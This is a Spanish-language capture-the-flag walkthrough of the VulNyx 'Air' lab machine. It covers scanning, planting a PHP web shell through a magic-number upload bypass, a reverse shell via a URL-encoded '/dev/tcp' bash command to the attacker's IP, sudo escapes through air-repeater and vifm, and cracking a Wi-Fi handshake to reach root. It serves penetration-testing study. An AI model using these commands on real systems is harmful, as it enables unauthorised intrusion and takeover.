VulNyx - Air

logo

  • Insecure File Upload - Magic Number
  • Abuse air-repeater Binary - sudo
  • Abuse vifm Binary - sudo
  • Cracking Handshake - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.19

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.19

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 0e:95:f2:88:f3:0f:ca:38:ec:da:3c:c0:cd:19:20:41 (ECDSA)
|_  256 53:21:e1:34:a6:f0:70:2b:87:e7:cf:3d:6b:85:9d:64 (ED25519)
80/tcp   open  http    nginx 1.22.1
|_http-title: Welcome to nginx!
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
8080/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://air.nyx:8080/
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Al realizar fuerza bruta de directorios y extensiones encuentro el archivo note.txt y el directorio files.

❯ gobuster dir -u 192.168.1.19 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.19
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/files                (Status: 301) [Size: 169] [--> http://192.168.1.19/files/]
/robots.txt           (Status: 200) [Size: 23]
/note.txt             (Status: 200) [Size: 32]

Archivo note.txt.

You won't find anything here...

Sigo con la enumeración dentro del directorio files, encuentro el archivo file.txt y el directorio key.

❯ gobuster dir -u 192.168.1.19/files -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.19/files
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/file.txt             (Status: 200) [Size: 39]
/key                  (Status: 301) [Size: 169] [--> http://192.168.1.19/files/key/]

Archivo file.txt.

You won't find anything here either...

HTTP TCP 8080

Al visitar el puerto 8080 veo que me redirige al dominio air.nyx:8080.

airnyx

Añado el dominio a mi archivo hosts y refresco la página.

web8080

En upload veo una herramienta para subir archivos.

upload

Si intento subir un archivo PHP me muestra el siguiente mensaje.

errorphp

Intercepto la petición con burpsuite.

burp-intercept

Mando la petición al repeater, le añado el magic number de un archivo GIF para saltarme la restricción.

burpmagicn

En response verifico que la shell.php se ha subido correctamente.

burpruploadok

Para saber donde ha subido el archivo realizo fuerza bruta de directorios.

❯ gobuster dir -u http://air.nyx:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://air.nyx:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 169] [--> http://air.nyx:8080/img/]
/uploads              (Status: 301) [Size: 169] [--> http://air.nyx:8080/uploads/]
/css                  (Status: 301) [Size: 169] [--> http://air.nyx:8080/css/]
/fonts                (Status: 301) [Size: 169] [--> http://air.nyx:8080/fonts/]

Con curl compruebo que tengo ejecución remota de comandos.

php

Me lanzo una shell para tener acceso al sistema.

❯ curl -s "http://air.nyx:8080/uploads/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F443%200%3E%261%22"

Obtengo la shell.

❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.17] from air.nyx [192.168.1.19] 51980
bash: cannot set terminal process group (433): Inappropriate ioctl for device
bash: no job control in this shell
www-data@air:~/air/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Después de realizar el tratamiento para la tty enumero permisos de sudo.

air-repeater

Navego al directorio /opt, lanzo air_repeater y me pide una contraseña que no tengo.

air-binary

Con strings veo que al poner una contraseña correcta lanza el comando /bin/bash.

strings-air

Con find busco archivos que tienen como propietario al usuario www-data.

findOpenBackup

Me voy al directorio /var/www/html/2023_router_backup y descomprimo backup-OpenWrt.tar.gz.

tar -xzvf backup-OpenWrt.tar.gz

Al descomprimir veo dos directorios /etc y /boot.

OPfiles

Dentro de /etc/config hay el archivo wireless, en su interior encuentro lo siguiente.

ai-key

Lanzo el binario air-repeater como usuario sam, pongo la contraseña y paso de www-data a sam.

userpivoting1

Enumero de nuevo permisos de sudo.

viFM

Lanzo el binario como usuario xiao.

sam@air:~$ sudo -u xiao /usr/bin/vifm

Se abre una ventana del explorador vifm y abajo a la izquierda escribo :help.

vifm-help

Después de darle al enter me muestra esta ventana y sigo las instrucciones.

vifm-helpEnter

Al darle al enter se abre esta ventana del editor vim.

vim

Escribo :!/bin/bash.

vimpivoting2

Y paso de sam a xiao.

xiao

Con find busco archivos que tienen como propietario al usuario xiao.

air-master

Me voy al directorio /var/backups/ y copio Air-Master.zip al directorio /tmp.

xiao@air:/var/backups$ cp Air-Master.zip /tmp
xiao@air:/var/backups$ cd /tmp

Con python creo un servidor http para descargarme el archivo.zip a mi máquina.

xiao@air:/tmp$ python3 -m http.server 8089
Serving HTTP on 0.0.0.0 port 8089 (http://0.0.0.0:8089/) ...
Keyboard interrupt received, exiting.

Desde mi máquina uso wget para descargarme el fichero.

❯ wget 192.168.1.19:8089/Air-Master.zip

Con aircrack-ng veo que el archivo Air-Master-01.ivs es un handshake de un punto de acceso wifi.

handshake

Realizo fuerza bruta y obtengo la contraseña.

handshakeCracked

Consigo el root usando la contraseña que he obtenido del handshake.

root

Y aquí termina la máquina Air.

Saludos!